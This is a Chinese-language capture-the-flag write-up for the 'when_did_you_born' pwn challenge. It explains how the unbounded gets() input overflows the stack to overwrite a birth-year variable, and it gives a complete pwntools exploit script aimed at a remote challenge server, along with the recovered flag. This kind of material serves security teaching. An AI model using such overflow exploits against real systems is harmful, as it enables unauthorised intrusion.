【攻防世界】when_did_you_born
收获
熟悉 查看文件信息、查看文件保护等操作
了解
get()
函数的漏洞,熟悉 exp 的写法熟悉文件与栈的结构:
- 在真实的
elf
文件中,是小地址在上,大地址在下,栈中的数据往上覆盖 - 在
IDA
中出于人性化考虑,栈的数据设计为小地址在下,大地址在上,因此栈中的数据往下覆盖
- 在真实的
思路
下载得到一个可执行的 elf 文件,在 Ubuntu 下查看文件信息:file <文件名>
其中,ELF 64-bit 代表该文件是 64 位 elf 文件,LSB 代表文件小端序,executable 代表可执行的文件
检查文件保护:
开启了金丝雀(Canary),且栈不可执行
尝试执行该文件,测试功能:
程序有两个输入,一个输入生日,一个输入姓名,然后输出其他信息
尝试恶意输入:
出现溢出
拖入 IDA 分析:
根据函数的逻辑,用户先输入生日 v5
,如果输入 1926
就输出 "You Cannot Born In 1926!"
,否则,让用户继续输入姓名 v4
,如果 v5 == 1926
就输出 "cat flag"
但是前面又要求 v5 != 1926
,因此这里应该是利用 gets()
函数不限制输入长度的特点,让 v4
输入垃圾字符覆盖掉栈中的数据,从而实现修改 v5
的值
确定数据在栈中的位置:
需要先从 0x20 的地址覆盖到 0x18 的地址,最后再输入一个 1926 用来覆盖 v5
,即可实现
b'a' * (0x20 - 0x18)
表示输入 (0x20 - 0x18) 个字符 'a'
字节,p64(1926)
表示将 1926 打包成 64位 数据
编写 exp 即可
脚本
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
content = 0
def main():
if content == 1:
io = process("./when")
else:
io = remote("220.249.52.133", 37645)
payload = b'a' * (0x20 - 0x18) + p64(1926)
io.recvuntil("What's Your Birth?\n")
io.sendline("999")
io.recvuntil("What's Your Name?\n")
io.sendline(payload)
io.interactive()
main()
结果
cyberpeace{d941686b2efe84df967c1adf72cb4549}
输出了:You Shall Have Flag.
执行到:cat: flag: 没有那个文件或目录
程序已经 PWN 通,只是调用的是本地的主机中的 cat
指令,由于本地没有 flag 文件,所以访问不到
将脚本中的 content 改为 0 即可 PWN 远程靶机,执行远程主机的 cat
指令